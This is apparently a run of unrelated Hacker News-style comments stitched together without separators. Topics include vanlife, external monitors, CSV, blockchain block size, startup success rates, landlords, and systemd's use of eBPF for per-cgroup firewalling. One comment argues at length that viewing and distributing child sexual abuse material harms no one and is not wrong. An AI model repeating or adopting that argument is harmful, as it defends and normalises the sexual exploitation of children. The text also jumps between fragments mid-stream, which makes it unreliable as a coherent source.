Funny how the conversation seems to hover around gender. Who cares? I have children of both genders (2 boys, 1 girl) and they really like the same things. The girl is a little more outdoorsy and the boys like screens more, it seems, but I don't esp. attribute that to gender, more to their personal inclination. All three love roller skating, and cooking, and yelling, and also, making houses with blankets and pillows.

Anyway, one point the FAQ doesn't seem to cover is how is this thing powered and how long does a charge last? Can it beep and hum and do the things it does, for at least a full day?
> only on HN could we see child pornography being defended as a victimless crime.

No, not really. I have seen it being defended in multiple places over the years. Mostly places where there are many STEM people and can't bear the thought of certain numbers being illegal.

> First of all, no child should be exploited in that way. Period. Not up for debate.

Exploited in what way? Remember, even a 17 year old taking a picture to show it to his/hers gf/bf is considered CP in every country that I know of. Who is exploited in this case?

> Whether or not they feel victimised at the time by what has happened to them is irrelevant.

If they are a young child then I will agree. If they are a teen then no. I fail to see how this is relevant to the discussion however. We are not talking about the production of CP, we are talking about the consumption and distribution of it.

> So by viewing or obtaining CP, one is supporting and proliferating that material.

How did you deduce that from the previous sentence exactly? In any case, I fail to see how "by viewing or obtaining CP, one is supporting and proliferating that material".

> Here it is again 'CP isn't wrong'. Yes it is, I don't see how you can think it's not.

Viewing or distributing CP isn't wrong because nobody is harmed. I don't see how you can think that it is wrong.

> Every paedophile is a paedophile

Sure? Just like every straight person is straight. That being said not every paedophile is a rapist as neither is every straight person.

> it's a mental health problem

They said the same about homosexuality a while ago. Look what happened to Turing for example, a great mind put to death because he did things that even though they harmed nobody it offended some people in power who considered them gross.

> because frankly if you think being a paedophile is totally fine then you need to get help.

If you think that we should arrest people who have done no harm on another human being directly or indirectly then you are a monster and you should get help.
That's the first big strike against vanlife for me. In the US there's no cheap and reliable way to park and sleep without being harassed by police.

The second is illness: I ate some bad chicken earlier this year and was violently ill, projectile liquid from both ends ill, for three whole days. It was miserable but bearable because I had an apartment with a bed and a bathroom. I can't imagine what it would have been like in a van.

Backpacking is not black or white. There is backpackers who multihop cities every couple of days to get laid in backpacker hostels, some others travel slow, some to remote places, some others move where there is food and work, some others follow adventure, some others backpack while volunteering...

Lol, please provide countless examples. I dare you to find even one. My guess is that if you find even one, you will find 10 reverse where women get meetings because of their gender.

The article kind of addresses this. There are millions of spreadsheets and applications out in the wild that use CSV to communicate.

Sure, if you're building some kind of system where you need to ingest data from one application from another application you control, then using a different interchange format like ASV is an option. But then people tend to use more powerful formats like JSON or XML.
I think there's definitely a mint to be made in making the hardest of it easier. I think that's the only way we keep building higher and more interesting.

He definitely wants your automation, but only so they can increase dynamism. I suspect that his job will always hold a static high risk and I find that kind of awe inspiring as a bit jockey.

I develop wth a mobile setup (3G/4G + laptop + laptop stand) most of the time, but not with a nomadic lifestyle.

I don't miss big monitors while on the go. Either I forgot how good they were or one get used to it. What I favor infinitely more is the mobility itself. I don't understand why remote people don't move more when given the chance.

YMMV, I still have a big monitor at home, else I would feel cut from my customers' typical setup. A problem with smaller screen is the additional eye strain.
Well yeah, but this was 0.1 + 0.2 != 0.15 + 0.15, and there's no obvious reason why 0.15 + 0.15 = 0.3 imo.
Tricky, because I would also think it's almost impossible to factor in the likelihood of deterring a first offence either might have
Interesting to see this get so many upvotes & discussion. Blockchain is an agreed protocol not a god-given thing, any time we need more we can just increase the block-size.

This blog post would make sense if it talked about why incrementing block-size is not feasible, which is feasible. Storage gets cheaper every year and block-size has no effect on compute power.

I used to use three monitors: Two 22 inches plus my 15 inches laptop monitor. It though it was a really efficient way of working, but it had a problem: Moving was a hassle. I decided to get rid of the monitors for a while to test their value and I found out it's not such a big improvement. Now I only work in my laptop screen. I have a full mobility and I love that. I don't miss my monitors at all.
I use the app "duet" to connect an iPad as a second monitor for the cases when a second display is really useful (like playing spot the difference with a site vs Sketch design).

The attire of actual drug dealers is irrelevant, what matters is the imaginary drug dealer dress code in the minds of the public. One of the more subtle forms of privilege is that some groups have more "freedom of fashion" than others. Richard Branson can do "a very expensive version of whatever the Dude wears in The Big Lebowski", because there are cultural stereotypes available to him to play with that are unavailable to other skin tones. Likewise, a white person wearing impeccable business in the wrong environment will evoke the worst of wallstreet, whereas a black person wearing the same would be comfortably grounded in a proud tradition of dressing upward.

Didn't know about netrik, thanks.

I wasn't implying that 'right click == bloat', only that there are two meanings for "minimal": a minimal amount of code, or a minimal UI.

surf doesn't have a minimal amount of code, since it wraps WebKit; although it seems to have a minimal UI. My point about right-click, etc. is that much of the (GTK?) WebKit UI might still be lurking there.

I agree that dillo is really nice. Not minimal in the UI sense though (tabs, toolbar, search box, etc.)

I spend most of my coding time on just a laptop (15" MBP with 1680x1050 matte screen) and the only thing that bothers me very much is the position it puts my neck in. I try to sit lower than usual to help that.

I do use multiple desktops on macOS and a quick swipe of the trackpad to switch them is almost as good for me as multiple displays.

I do tend to use an iPad as a aux display though. Sometimes I run Duet Display to have it act like an extra display for my MBP but most of the time it's home to my distractions like Slack, email, social media, etc. But it is good for books and websites while coding.

This is the back side of much lower success rates. Somewhere like 10-20% of offline businesses survive and thrive for decades, for online startups success rate is much lower. Say, i am 38 and have been coding, and had a large network since i was 18, and i have never seen a person who 'hit it' - even in the most limited sense, meaning consistently made more from his own product(s) than he could do on the Upwork. I mean, i know a ton of such people - some of them make up to $2M a month - but i know them since after, and _because_ they made it (so it can't be used to estimate success rate). Never someone who i knew _before_. And nearly everyone of my coding friends tried. Most tried seriously - the more seriously they tried, the more they lost actually, sometimes being forced to leave the profession completely for the lack of valuable skills (spent 5 years working on own startup with a limited stack and didn't catch up with what the freelancers code with), and need to make money.

Online startups are infinitely scalable, meaning something which is just barely worse than the best probably doesn't survive (see 90%/9%/1% rule), but if it does, it hits big. Neither is true for a restaurant.

So do. The van part is totally optional. Go to Chiang Mai and find a coworking space and an AirBNB. If you don't like it, go home! We have a fixed base we spend 50% of the year at, but also like to go and spend 6 weeks working elsewhere.

Planet Nine Update
Would like more details on what industry folks said about them.
On the one hand, the user facing aspect of this feature as presented in this article seems really nice.

On the other hand, it's another abstraction over rather new kernel APIs. Your average user may know of NetFilter kernel component, and the iptables userland counterpart. Some may even have heard of nftables. How many users know about eBPF/XDP ? More importantly, how many sysadmins know how to debug this when something goes wrong ?

I'm aware there's a lot of development around eBPF and a number of players (Facebook, CloudFlare, ...) are already using XDP because of the ridiculous performance gain it provides for their use-cases.

There's a myriad of frontends to iptables and yet they all suck. Each of them fail in mysterious ways and at that point the only way to debug what's wrong is to look at the ruleset with ... iptables.

A package could ship with IP filtering in its service file, which may not match what the user expected. The symptom "service does not respond to TCP connections" is well known. In that case, it's common to check the process is alive (using ps), it has setup listening sockets (using netstat) and that the system firewall is not blocking it (using iptables/nftables or some frontend). Figuring out it's a eBPF/XDP misconfiguration is going to be painful IMHO.

systemd attempts to cooperate with the system firewall. The subtlety is that there are now two facilities in the kernel that provide firewalling, and both can be on at the same time. To be honest, I don't even know which one has precedence.

Why exactly does systemd need to mess with the networking services ? AFAIK, its primary function is that of a service manager; i.e: reliably bring services up and down. I feel all the rest should not be systemd's concern.

After using systemd for quite some time, I've come to the conclusion that it works rather well when it sticks to starting/stopping services, assuming your service fits the systemd model. If it doesn't, debugging is extremely difficult and you often have to resort to dirty hacks to end up with a functionning system -- which is ironic considering one of systemd's motivations was to get rid of the dirty hacks in initscripts.

An example of a buggy use case is when you need to pass environment variables to your executable and there's escaping involved. The systemd documentation suggests you can pass pretty much anything in the ExecStart lines. However, the reality is that it does not behave as other environments. The solution is to store the variables in a separate file, and not involve systemd at all. My takeaway is: why does systemd involve so many features ? It increases failure cases as well as the cognitive load required when dealing with it.

Great game!
Yep. I was making my comment because it relates to things I heard in my town. Basically, there are many young people willing to open restaurants, shops, bars etc. but the landlords own most of the city center. Given the rent, many young starters just can't start. So the city center is closing more and more shops, slowly asphyxiating. So I guess the landlords will reduce their prices when nobody will rent anymore. One could say that it's a basic offer/demand situation looking for an equilibrium. But it's not because everybody in town pay the price of this missing equilibrium.
So the landlords, while protecting their assets, make life hard for starters, slowly kills the city center. So I wouldn't call that a successful "invisible hand".
Just to expand this answers; this is not a tcp wrapper replacement. I mean, it can be used as one; but that's just a side effect.

Since linux 4.10 you can attach eBPF programs to the cgroups: https://kernelnewbies.org/Linux_4.10#head-4f00d500db4f8e437a.... This allows you to do a really cool things, mostly firewalls attached to the cgroup and not to the system-wide netfilter stack. Imagine application-specific firewalls.

Systemd uses that to add "simple" packet counting eBPF application to the cgroups: https://github.com/systemd/systemd/commit/1988a9d12015990c14....

(eBPF is the same mechanism that is used with seccomp and filtering which syscalls can application use and which are forbidden - used in for example chromium sandbox on linux or with openssh)
